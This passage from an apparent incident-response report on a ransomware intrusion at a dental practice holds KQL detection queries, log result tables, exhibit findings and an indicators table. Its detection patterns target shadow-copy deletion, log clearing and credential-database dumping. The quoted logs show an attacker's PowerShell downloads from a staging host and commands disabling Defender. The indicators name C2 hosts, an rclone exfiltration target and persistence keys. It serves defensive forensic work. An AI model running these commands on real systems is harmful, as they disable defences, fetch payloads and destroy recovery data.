 (P | where (Cmd has "/node:" and Cmd has "process call create") or (Parent endswith "WmiPrvSE.exe" and Img has_any ("cmd.exe", "powershell.exe", "vssadmin.exe",
"rundll32.exe")) | extend Rule = "R9", Detail = Cmd),
 (P | where (Cmd has "vssadmin" and Cmd has "delete") or (Cmd has "shadowcopy" and Cmd has "delete") or (Cmd has "bcdedit" and Cmd has "/set") or (Cmd has "wbadmin" and Cmd has
"delete") or (Cmd has "ntdsutil" and Cmd has "ifm") or (Cmd has "wevtutil" and Cmd has " cl ") | extend Rule = "R10", Detail = Cmd),
 (W | where tostring(EventCode) in ("1102", "104") | extend Rule = "R10", Detail = strcat("event ", tostring(EventCode)), Computer = Host),
 (W | where tostring(EventCode) in ("4728", "4732", "4756") | extend G = extract(@"Group:\s+Security ID:\s+\S+\s+Group Name:\s+([^\r\n]+)", 1, M) | where G in ("Domain Admins",
"Enterprise Admins", "Schema Admins", "Administrators") | extend Rule = "R11", Detail = G, Computer = Host)
| summarize Hits = count(), Hosts = dcount(Computer), Distinct = dcount(Detail), First = format_datetime(min(todatetime(EventTime)), "HH:mm:ss"), Last =
format_datetime(max(todatetime(EventTime)), "HH:mm:ss") by Rule
| order by toint(substring(Rule, 1)) asc
```

RULE	HITS	HOSTS	DISTINCT	FIRST (UTC)	LAST (UTC)
R1	4	1	2	01:59:15	02:25:06
R2	6	1	4	02:40:41	02:42:08
R3	7	3	3	02:42:40	13:45:16
R4	13	3	3	02:32:48	04:37:38
R5	3	1	2	03:57:40	04:00:14
R6	13	1	13	05:21:56	05:22:54
R7	64	3	20	02:25:07	13:55:18
R8	5	3	2	02:49:46	04:34:11
R9	1	1	1	04:42:28	04:42:28
R10	128	3	36	03:42:36	05:20:01
R11	2	1	2	05:22:28	05:22:57

LAW-SilentCorridor · HarborlightDental_CL — 11 rows · result as returned, 2026-10-23

E9 The dataset: rows by host and source

SUPPORTS 44,989 rows in two schemas: Sysmon (27,231 rows, EventID and Computer) and Windows event logs (17,758 rows, EventCode and ComputerName: Security, System, Application, PowerShell, and Defender on the workstation only). Event time runs 2026-02-04 00:00:18 to 18:47:29 UTC.

DOES NOT PROVE Anything from outside the three hosts: no firewall, proxy, DNS server or MSP logs.

exhibits/E9-the-dataset-rows-by-host-and-source-20261023.png

E9 The dataset: rows by host and source

all three

```
workspace("LAW-SilentCorridor").HarborlightDental_CL
| extend Host = tostring(split(coalesce(tostring(Computer), tostring(ComputerName)), ".")[0]),
         Source = iff(isnotempty(Computer), "Sysmon", strcat("Windows ", tostring(LogName)))
| summarize Rows = count(), First = min(todatetime(EventTime)), Last = max(todatetime(EventTime)) by Host, Source
| project Host, Source, Rows, First = format_datetime(First, "yyyy-MM-dd HH:mm:ss"), Last = format_datetime(Last, "yyyy-MM-dd HH:mm:ss")
| order by Host asc, Rows desc
```

HOST	SOURCE	ROWS	FIRST (UTC)	LAST (UTC)
ADDC01	Windows Security	12695	2026-02-04 00:00:18	2026-02-04 18:47:29
ADDC01	Sysmon	8383	2026-02-04 00:00:34	2026-02-04 18:47:29
ADDC01	Windows System	275	2026-02-04 00:01:29	2026-02-04 18:28:00
ADDC01	Windows Application	114	2026-02-04 00:23:51	2026-02-04 18:28:00
ADDC01	Windows Microsoft-Windows-PowerShell/Operational	29	2026-02-04 01:00:25	2026-02-04 05:22:57
BACKOFFICE-PC1	Sysmon	8039	2026-02-04 00:03:07	2026-02-04 14:28:14
BACKOFFICE-PC1	Windows Security	881	2026-02-04 00:29:04	2026-02-04 14:28:05
BACKOFFICE-PC1	Windows System	107	2026-02-04 00:58:58	2026-02-04 14:28:14
BACKOFFICE-PC1	Windows Application	68	2026-02-04 00:32:11	2026-02-04 14:28:05
BACKOFFICE-PC1	Windows Microsoft-Windows-Windows Defender/Operational	19	2026-02-04 00:59:12	2026-02-04 14:28:08
BACKOFFICE-PC1	Windows Microsoft-Windows-PowerShell/Operational	5	2026-02-04 01:53:35	2026-02-04 12:41:25
HL-FS01	Sysmon	10809	2026-02-04 00:00:31	2026-02-04 14:47:52
HL-FS01	Windows Security	2300	2026-02-04 00:10:51	2026-02-04 14:29:41
HL-FS01	Windows Microsoft-Windows-PowerShell/Operational	918	2026-02-04 03:44:57	2026-02-04 13:24:04
HL-FS01	Windows System	247	2026-02-04 00:00:33	2026-02-04 14:39:24
HL-FS01	Windows Application	100	2026-02-04 00:08:47	2026-02-04 14:39:24

LAW-SilentCorridor · HarborlightDental_CL

16 rows · result as returned, 2026-10-23

E10 What Defender and PowerShell logging saw

SUPPORTS The implant pulled its tools from a second host name, sync.cloud-endpoint.net (five IWR downloads, among them a fake MsMpEng.exe inside the Windows Defender folder), and switched five Defender protections off, twice. On the workstation Defender detected the implant as Trojan:Win32/SuspGolang.AG and quarantined taskhostw.exe at 09:24:04, 15 seconds after that host's last beacon.

DOES NOT PROVE That the 01:14 DefenderTamperingRestore detection belongs to the attack: it comes 43 minutes before the first lure, beside Defender's own service-key writes.

exhibits/E10-what-defender-and-powershell-logging-saw-20261023.png

E10 What Defender and PowerShell logging saw

BACKOFFICE-PC1, HL-FS01

```
let T = workspace("LAW-SilentCorridor").HarborlightDental_CL;
union
 (T | where isempty(Computer) and tostring(LogName) has "Defender" and tostring(EventCode) in ("1116", "1117")
    | extend M = replace_regex(tostring(Message), @"\s+", " ")
    | summarize n = count(), UTC = min(todatetime(EventTime)) by Host = tostring(split(ComputerName, ".")[0]), What = strcat("Defender ", tostring(EventCode),
iff(tostring(EventCode) == "1116", " detected ", " acted, "), extract(@"Name: (\S+)", 1, M), iff(tostring(EventCode) == "1117", strcat(" (", extract(@"Action: (\w+)", 1, M),
")"), ""), " on ", extract(@"Path: (\S+)", 1, M))),
 (T | where isempty(Computer) and tostring(LogName) has "PowerShell" and tostring(EventCode) == "4104"
    | extend SB = trim(@"\s+", replace_regex(replace_regex(extract(@"(?s)Creating Scriptblock text \(\d+ of \d+\):(.*)", 1, tostring(Message)), @"(?s)ScriptBlock ID:.*", ""),
@"\s+", " "))
    | where SB startswith "IWR -Uri" or SB startswith "Set-MpPreference"
    | summarize n = count(), UTC = min(todatetime(EventTime)) by Host = tostring(split(ComputerName, ".")[0]), What = strcat("PowerShell 4104: ", SB))
| project UTC = format_datetime(UTC, "yyyy-MM-dd HH:mm:ss"), Host, What = substring(What, 0, 140), n
| order by UTC asc
```

UTC	HOST	WHAT	N
2026-02-04 01:14:11	BACKOFFICE-PC1	Defender 1116 detected VirTool:Win32/DefenderTamperingRestore on regkeyvalue:_hklm\software\microsoft\windows	1
2026-02-04 01:14:32	BACKOFFICE-PC1	Defender 1117 acted, VirTool:Win32/DefenderTamperingRestore (Quarantine) on regkeyvalue:_hklm\software\microsoft\windows	1
2026-02-04 03:44:57	HL-FS01	PowerShell 4104: IWR -Uri "https://sync.cloud-endpoint.net/RuntimeBroker.exe" -OutFile "C:\ProgramData\Microsoft\RuntimeBroker.exe"	1
2026-02-04 03:47:19	HL-FS01	PowerShell 4104: IWR -Uri "https://sync.cloud-endpoint.net/MsMpEng.exe" -OutFile "C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe"	1
2026-02-04 03:47:33	HL-FS01	PowerShell 4104: IWR -Uri "https://sync.cloud-endpoint.net/config.dat" -OutFile "C:\ProgramData\Microsoft\config.dat"	1
2026-02-04 03:47:54	HL-FS01	PowerShell 4104: IWR -Uri "https://sync.cloud-endpoint.net/update.bat" -OutFile "C:\ProgramData\Microsoft\update.bat"	1
2026-02-04 03:53:43	HL-FS01	PowerShell 4104: IWR -Uri "https://sync.cloud-endpoint.net/rclone.conf" -OutFile "C:\ProgramData\Microsoft\rclone.conf"	1
2026-02-04 04:03:50	HL-FS01	PowerShell 4104: Set-MpPreference -DisableRealtimeMonitoring $true	2
2026-02-04 04:03:52	HL-FS01	PowerShell 4104: Set-MpPreference -DisableBehaviorMonitoring $true	2
2026-02-04 04:03:53	HL-FS01	PowerShell 4104: Set-MpPreference -DisableScriptScanning $true	2
2026-02-04 04:03:53	HL-FS01	PowerShell 4104: Set-MpPreference -DisableIOAVProtection $true	2
2026-02-04 04:03:54	HL-FS01	PowerShell 4104: Set-MpPreference -DisableIntrusionPreventionSystem $true	2
2026-02-04 09:23:31	BACKOFFICE-PC1	Defender 1116 detected Trojan:Win32/SuspGolang.AG on file:_C:\Users\Public\taskhostw.exe;	2
2026-02-04 09:24:04	BACKOFFICE-PC1	Defender 1117 acted, Trojan:Win32/SuspGolang.AG (Quarantine) on file:_C:\Users\Public\taskhostw.exe;	1
2026-02-04 09:24:05	BACKOFFICE-PC1	Defender 1116 detected Trojan:Win32/SuspGolang.AG on file:_E:\review.dll	2

LAW-SilentCorridor · HarborlightDental_CL

15 rows · result as returned, 2026-10-23

E11 HL-FS01's beacons per hour, around the 13:44 console sign-in

SUPPORTS All three implants beaconed steadily (about 120 connections an hour each) through the morning; after the 13:45:16 launch, taskhostw.exe roughly doubles (150 in the 13:00 hour, 192 in the 47 minutes of the 14:00 hour against 94 and 96), so a second copy was running; the server's data ends at 14:47:52 with all three still beaconing.

DOES NOT PROVE Why the server's data stops at 14:47:52: no shutdown event is logged there.

exhibits/E11-hl-fs01-s-beacons-per-hour-around-the-13-20261023.png

E11 HL-FS01's beacons per hour, around the 13:44 console sign-in

HL-FS01

```
workspace("LAW-SilentCorridor").HarborlightDental_CL
| where EventID == "3" and Computer has "HL-FS01" and todatetime(EventTime) >= datetime(2026-02-04 10:00)
| extend X = tostring(EventData_Xml)
| extend Img = tostring(split(extract(@"<Data Name=.Image.>([^<]+)", 1, X), @"\")[-1]), Dst = extract("DestinationIp.>([^<]+)", 1, X)
| where Dst in ("104.21.30.237", "172.67.174.46")
| summarize taskhostw = countif(Img == "taskhostw.exe"), OneDriveSync = countif(Img == "OneDriveSync.exe"), wsync = countif(Img == "wsync.exe"), Last =
max(todatetime(EventTime)) by Hour = bin(todatetime(EventTime), 1h)
| project Hour = format_datetime(Hour, "HH:mm"), taskhostw, OneDriveSync, wsync, Last = format_datetime(Last, "HH:mm:ss")
| order by Hour asc
```

HOUR (UTC)	TASKHOSTW	ONEDRIVESYNC	WSYNC	LAST
10:00	120	120	118	10:59:27
11:00	120	120	120	11:59:33
12:00	120	120	120	12:59:40
13:00	150	120	120	13:59:46
14:00	192	94	96	14:47:52

LAW-SilentCorridor · HarborlightDental_CL

5 rows · result as returned, 2026-10-23

D Indicators

TYPE	VALUE	CONTEXT
C2 host name	`cdn.cloud-endpoint.net`	Cloudflare 104.21.30.237 and 172.67.174.46, ports 80 and 443; every implant (E6)
Staging host name	`sync.cloud-endpoint.net`	The source of the five tool downloads on HL-FS01 (E10)
Lures	`Vendor_Invoice_Review.7z` / `.iso`, `Harborlight_Insurance_Claims.7z` / `.iso`, `review.dll` (export `StartW`)	Emily's Downloads; D: and E: (E1)
Implants	`C:\Users\Public\taskhostw.exe`, `C:\Users\Public\OneDriveSync.exe`, `C:\ProgramData\Microsoft\OneDriveSync.exe`, `C:\ProgramData\Microsoft\wsync.exe`, `C:\ProgramData\Microsoft\RuntimeBroker.exe`	Defender verdict on taskhostw.exe and review.dll: Trojan:Win32/SuspGolang.AG (E10)
Exfiltration tool	`C:\ProgramData\Microsoft\MsMpEng.exe` (rclone), `rclone.conf`, `config.dat`; a second copy at `C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe`	HL-FS01 (E4, E10)
Exfiltration target	`mega:HARBORLIGHT-exfil`, account `jwilson.vhr@proton.me`	HL-FS01 (E4)
Scripts	`C:\ProgramData\Microsoft\update.bat`, `C:\Users\Public\defender.bat`	HL-FS01; all hosts
Ransomware	`updater.exe` (`C:\Users\Public`, and `C:\ProgramData\Microsoft` on HL-FS01), `akira_readme.txt`, extension `.akira`	All hosts (E6)
Staging files	`C:\Users\Public\20260203185934_recon.zip`, `C:\Windows\Temp\ntds`	BACKOFFICE-PC1; ADDC01
Registry	`HKCU\Software\Classes\ms-settings\shell\open\command`; `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealth`	BACKOFFICE-PC1 (E2); HL-FS01
Scheduled task	`WindowsUpdate` to `C:\Users\Public\taskhostw.exe` (onstart, SYSTEM)	HL-FS01
Accounts	`Emily.Grant` (password known to the attacker); `svc_sql` (SID ending -2105, Domain Admins)	E4, E6